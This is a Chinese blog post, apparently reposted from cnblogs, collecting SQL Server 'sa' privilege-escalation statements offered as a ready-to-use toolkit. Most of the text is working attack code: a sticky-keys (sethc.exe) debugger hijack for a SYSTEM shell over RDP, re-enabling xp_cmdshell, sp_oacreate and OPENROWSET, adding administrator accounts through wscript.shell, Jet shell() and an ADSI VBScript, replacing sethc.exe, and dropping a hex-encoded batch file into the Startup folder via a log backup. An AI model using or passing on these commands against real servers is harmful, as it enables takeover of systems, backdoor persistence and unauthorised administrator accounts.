zoukankan      html  css  js  c++  java
  • Sa提权sql语句大全

    Sa提权方式很多,而最快捷的方式就是shift粘滞键镜像劫持。这种Sa提权方法必须满足几个条件,数据库可以远程访问,服务器开启了终端远程访问也就是3389和粘滞键功能。这样就可以利用Microsoft SQL Server Management Studio或其他漏洞检测工具来连接远程数据库了。
    
    个人推荐使用Microsoft SQL Server Management Studio,可以到微软官方下载地址:http://www.microsoft.com/web/downloads/platform.aspx。如果不用数据库可以不安装,选装Microsoft SQL Server Management Studio就可以了。然后链接数据库引擎,用已得到的sa用户连接数据库,执行下面sql语句,再通过远程桌面链接服务器并连续按5次任意键就可以得到服务器的系统权限了。
    
    从网上收集了Sa提权用到的sql语句,在Sa提权过程中结合实际情况来使用吧。
    
    获取终端端口号(两种方法)
     
    DECLARE @RESULT VARCHAR(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber';
     
    EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber';
     
    设置终端端口(这两个注册表项必须相同)
     
    EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber','REG_DWORD',3389;
     
    EXEC master..xp_regwrite  'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Control\Terminal Server\Wds\rdpwd\Tds\tcp','PortNumber','REG_DWORD',3389 ;
     
    查询是否被别人劫持过了(唉!)
     
    EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger';
     
    镜像劫持shift.exe 得到系统权限 CmdShell (也可以劫持其他文件如:taskmgr.exe)
     
    EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';
     
    删除镜像劫持(不想和别人共享服务器用完了就删掉吧)
     
    EXEC master..xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe';
    命令不能执行或权限不足请参考如下提权方法:
    
    1 未能找到存储过程’master..xpcmdshell’。
    
    恢复方法:查询分析器连接后,
    
    第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'DECLARE @o INT
    第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
    然后按F5键命令执行完毕。
    
    2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一DLL。原因126(找不到指定模块。)
    
    恢复方法:查询分析器连接后,
    
    第一步执行:sp_dropextendedproc "xp_cmdshell"
    第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
    然后按F5键命令执行完毕。
    
    3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
    
    恢复方法:查询分析器连接后,
    
    第一步执行:EXEC sp_dropextendedproc 'xp_cmdshell'
    第二步执行:EXEC sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
    然后按F5键命令执行完毕。
    
    恢复xp_cmdshell
    
    sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
    sp_addextendedproc 'xp_cmdshell','xplog70.dll'
    添加存储过程
    
    sp_addextendedproc 'sp_oacreate','odsole70.dll
    sp_addextendedproc 'xp_lake2', 'd:\wwwroot\caoo\wwwroot\xplake2.dll'
    sp_dropextendedproc xp_lake2
    –可以在网上下载到xplake2.dll (http://www.0×54.org/lake2/program/xplake2.dll)
    
    加账号
    
    EXEC xp_lake2 'net user > d:\wwwroot\caoo\wwwroot\1.txt'
    EXEC xp_lake2 'net user 123 123 /add'
    EXEC xp_lake2 'net localgroup administrators 123 /add'
    4终极方法:
    
    
     
    如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
    
    查询分析器连接后,
    
    2000servser系统:
    
    DECLARE @shell INT EXEC sp_oacreate 'wscript.shell',@shell output
    EXEC sp_oamethod @shell,'run',NULL,'c:\winnt\system32\cmd.exe /c net user 123 123 /add'
     
    DECLARE @shell INT EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod
    @shell,'run',NULL,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
    xp或2003server系统:
    
    DECLARE @shell INT EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod
    @shell,'run',NULL,'c:\windows\system32\cmd.exe /c net user 123 123 /add'
    DECLARE @shell INT EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod
    @shell,'run',NULL,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
    替换shift后门,跟开章的镜像劫持效果一样
    
    DECLARE @o INT
    EXEC sp_oacreate 'scripting.filesystemobject', @o OUT
    EXEC sp_oamethod @o, 'copyfile',NULL,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
    DECLARE @oo INT
    EXEC sp_oacreate 'scripting.filesystemobject', @oo OUT
    EXEC sp_oamethod @oo, 'copyfile',NULL,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
    开启数据库沙盘模式
    
    EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
    SELECT * FROM openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin 1234 /add")')
    SELECT * FROM openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administrators admin /add")')
    不同的操作系统,路径也不一样,需要根据情况做修改:
    
    NT/2K: c:\winnt\system32\
    XP/2003: c:\windows\system32\
    
    EXEC master..xp_dirtree 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动',1,1
     
    ALTER DATABASE [sq_crmchuangyu] SET RECOVERY FULL--
    CREATE TABLE cmd (a image)--
    backup log [sq_crmchuangyu] TO disk = 'c:\cmd1' WITH init--
    INSERT INTO cmd (a) VALUES (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C63616368655C73657468632E657865202F790D0A)--
    backup log [sq_crmchuangyu] TO disk = 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\start.bat'--
    DROP TABLE cmd--
    在获得SA密码后,往往因为服务器管理者或”前人”将net.exe和net1.exe被限制使用,无法添加管理员账号。我们知道VBS在活动目录 (ADSI)部分有一个winnt对象,用来管理本地资源,利用它可以不依靠CMD等命令就能添加一个管理员,具体代码如下(测试成功!很实用!):
    
    set wsnetwork=CreateObject("WSCRIPT.NETWORK")
    os="WinNT://"&wsnetwork.ComputerName
    Set ob=GetObject(os) '得到adsi接口,绑定
    Set oe=GetObject(os&"/Administrators,group") '属性,admin组
    Set od=ob.Create("user","test") '建立用户
    od.SetPassword "1234" '设置密码
    od.SetInfo '保存
    Set of=GetObject(os&"/test",user) '得到用户
    oe.add os&"/test"
    将上面的代码保存为1.vbs,然后执行,命令为“cscript 1.vbs”,这样就会在系统添加一个系统名为test,密码为1234的用户。具体在查询分析器执行的代码如下:
    
    DECLARE @o INT, @f INT, @t INT, @ret INT
    EXEC sp_oacreate 'scripting.filesystemobject', @o OUT
    EXEC sp_oamethod @o, 'createtextfile', @f OUT, 'c:\1.vbs', 1
    EXEC @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")'
    EXEC @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.ComputerName'
    EXEC @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
    EXEC @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")'
    EXEC @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","test")'
    EXEC @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "1234"'
    EXEC @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo '
    EXEC @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/test",user) '
    EXEC @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'
    执行完上面的语句,再执行下面这行代码,这行代码一定单独执行,不要与上面的放在一起执行,否则会提示 “c:\1.vbs正被另一个程序运行”而无法成功添加用户:
    
    EXEC master..xp_cmdshell 'cscript c:\1.vbs'
    如果系统用户没有添加成功,有可能是因为系统用户的密码1234的太简单,不符合服务器的复杂密码策略,可以考虑设置的复杂些,然后再测试一下。
    
    Microsoft SQL Server2005在默认情况下,一些存储过程是关闭着的,需要命令打开:
    
    declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\windows\system32\cmd.exe /c net user’
    执行SQL语句时发生错误!
    
    错误描述:SQL Server 阻止了对组件 ‘Ole Automation Procedures’ 的 过程’sys.sp_OACreate’ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 ‘Ole Automation Procedures’。有关启用 ‘Ole Automation Procedures’ 的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”。
    
    EXEC master..sp_addextendedproc  'xp_cmdshell','xplog70.dll'--成功。
    在执行SQL语句
    [Microsoft][ODBC SQL Server Driver][SQL Server]在执行 xp_cmdshell 的过程中出错。调用 ‘CreateProcess’ 失败,错误代码: ’5′。
    
    遇到 sql server 2005 ,恢复xp_cmdshell的办法:
    
    开启XP_cmdshell:
     
    EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure
    'xp_cmdshell', 1;RECONFIGURE;
     
    开启'OPENROWSET':
     
    EXEC sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure
    'Ad Hoc Distributed Queries',1;RECONFIGURE;
     
    开启'sp_oacreate':
     
    EXEC sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure
    'Ole Automation Procedures',1;RECONFIGURE;
    就这么多了!总之,具体问题具体分析吧!
  • 相关阅读:
    用于对象JSON.parse()和JSON.stringify()
    注册地址从零开始学建站域名篇
    类数据成员点类派生出圆类
    事件原因Stack Overflow at line:0 IE下解决方案
    连接参数SqlServer跨服务器查询
    进程子进程linux系统编程之进程(二):fork函数详细分析
    插件在线BookBlock:一个实现翻页效果的jQuery插件
    区域实现Android实现图片的裁剪(不调用系统功能)
    方法数据库android轻量型数据库sqlite的使用方法汇总
    编译用户Orcle的package中访问其它Schema的表
  • 原文地址:https://www.cnblogs.com/xiao0/p/2630055.html
Copyright © 2011-2022 走看看